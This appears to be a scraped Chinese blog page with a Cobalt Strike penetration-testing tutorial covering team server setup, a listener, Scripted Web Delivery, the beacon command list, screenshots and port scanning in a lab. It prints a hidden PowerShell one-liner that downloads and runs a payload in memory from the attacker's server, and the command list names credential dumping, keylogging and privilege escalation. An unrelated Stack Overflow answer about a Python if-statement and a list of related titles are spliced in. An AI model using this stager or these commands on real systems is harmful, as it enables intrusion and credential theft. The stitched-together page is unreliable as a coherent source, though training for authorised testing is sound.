148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]

Posted qwsn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]相关的知识,希望对你有一定的参考价值。

我认为:无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

一、Cobalt Strike基本使用

1、Cobalt Strike简介

(1)官方主页:https://www.cobaltstrike.com/

(2)Cobalt Strike:是一款基于C/S架构(客户端/服务器)的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗、内网渗透等等。

(3)Cobalt Strike功能:是一款基于GUI(图形用户界面)的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows的exe木马生成、Windows的dll木马生成、java木马生成、office宏病毒生成、木马捆绑、钓鱼攻击等等(钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等)。

2、Cobalt Strike(CS)整体框架图

客户端 Client服务器 Team Server攻击目标 Target_x
攻击者团队成员使用的图形化界面可以设置监听器(端口监听)、生成payload攻击载荷(会在服务器设置的监听端口上提供攻击代码下载)、Team Server 日志记录保存在logs文件夹、支持团队协同操作等等靶机通过Team Server提供的payload攻击载荷下载攻击代码

二、Cobalt Strike简单使用

1、实验坏境

ClientTeam ServerTarget_x
攻击者团队成员1:Windows7(安装了jre8的java开发跨平台)团队服务器:Kali Linux靶机1:Windows Server 2008
IP:192.168.97.130/24IP:192.168.97.129/24IP:192.168.97.131/24

2、实验过程

(1)如何在Kali Linux上创建Team Server团队服务器?

创建团队服务器语法:./teamserver <host> <password>
host是当前团队服务器的IP地址
password是分配给攻击者团队成员的密码
//如下图所示:成功的在Kali Linux开启了Team Server团队服务器,IP地址是本地的IP,密码是自定义的,成功后显示50050端口开启,该端口对应的就是团队服务器的服务。

(2)如何让本地和攻击者团队成员连接到Team Server团队服务器?

Linux本地连接方式:./cobaltstrike
//如下图所示:我们在团队服务器上进行本地连接,Host填写团队服务器IP,Port填写团队服务器的默认端口50050,User自定义,密码是刚刚设置的123456

Windows攻击者团队成员连接方式:双击cobaltstrike.bat
//如下图所示:主机填写Team Server团队服务器的IP地址,端口默认是50050,用户名自定义,密码是团队服务器开启时候给分配的123456。

(3)如何让靶机目标连接上Team Server团队服务器?
第一步:团队服务器上设置listener监听器
//如下图所示:我们设置名为beacon_http_1监听器,开启监听9999端口


第二步:团队服务器生成payload攻击载荷
//如下图所示:我们一般点击Attacks选项卡,然后选择Web Drive-by,最后点击Scripted Web Delivery脚本web传递,其中url它是个文件路径,Host是Team Server的IP,端口是Web服务的端口,powershell是攻击代码类型,其作用就是让目标(靶机)通过这个地址和80端口下载恶意脚本powershell。

//如下图所示:是生成的payload攻击载荷

//特别注意:该payload攻击载荷要保存下来
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"

第三步:目标靶机运行payload攻击载荷
靶机运行:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
//如下图所示:这份代码是powershell下运行的,会加载到内存执行。


(4)如何判断靶机以上线?
//如下图所示:我们通过视图和日志,可以看到靶机192.168.97.131已上线

(5)测试功能:屏幕截图和端口扫描

第一步:右键视图下的靶机,点击进入beacon

第二步:进入beacon后,输入help命令,查看具体的使用方法
beacon> help

Beacon Commands
===============

    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 阻止子进程加载非Microsoft DLL
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC提升权限
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peer over TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程桌面(VNC)
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   使用exp
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      终止beacon会话
    getprivs                  Enable system privileges on current token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在注入进程生成会话
    jobkill                   结束一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peer over a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID for spawned post-ex jobs
    ps                        显示进程列表
    psexec                    Use a service to spawn a session on a host
    psexec_psh                Use PowerShell to spawn a session on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以其他用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program under another PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     执行cmd命令
    shinject                  将shellcode注入进程
    shspawn                   启动一个进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session 
    spawnas                   Spawn a session as another user
    spawnto                   Set executable to spawn processes into
    spawnu                    Spawn a session under another PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件的时间戳应用到另一个文件
    unlink                    Disconnect from parent Beacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM横向渗透
    wmi                       使用WMI横向渗透

第三步:进行屏幕截图(执行速度较快)
beacon> screenshot
//如下图所示,截图的内容保存到了Team Server下的logs日志目录下

第四步:进行端口扫描(执行速度较慢)
beacon> portscan 192.168.97.131 1-1024,3389 arp 1024
//arp后面的1024是扫描线程
//扫描结果如下图所示:

if语句被忽略[重复]

【中文标题】if语句被忽略[重复]【英文标题】:the if stament it's ignored [duplicate] 【发布时间】:2020-03-05 20:13:05 【问题描述】:

我是初学者,我的功能不起作用。我没有我错过的内容:

def string_length(stri):
if stri == int:
   print(" not a string")
else:
   print(len(stri), stri)

stri = str(input("please write a string: "))
string_length(stri)

在少数情况下,如果我写一个整数,if 语句将被忽略。

【问题讨论】:

并不是它被忽略了。就是你认为它在做什么和它实际上在做什么是非常不同的。 stri == int 是 not 你如何检查某事物是否是 an int。 您的“if”测试特定对象是否等于整数类型。这在这里没有意义。你想要“isinstance”。 另外,请注意,如果您从用户那里接受输入,则输入始终是字符串。 “3”和3是不同的。一个是字符串。 【参考方案1】:
def is_number(stri):
    try:
        float(stri)
        return True
    except ValueError:
        pass

def string_length(stri):
    if is_number(stri) == True:
       print(" not a string")
    else:
       print(len(stri), stri)

stri = input("please write a string: ")
is_number(stri)
string_length(stri)

它对你不起作用,因为数字可以是字符串的形式,例如“6”而不是 6。所以任何时候你输入一个数字,它都会是一个字符串,所以会忽略 if。 is_number() 函数检查字符串是否可以表示为浮点数,如果可以,则返回值“True”。

【讨论】:

以上是关于148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]的主要内容,如果未能解决你的问题,请参考以下文章

150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]

152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

Cobalt Strike第一篇介绍及安装配置

Cobalt-Strike基本使用

【远控使用】Cobalt Strike横向渗透域控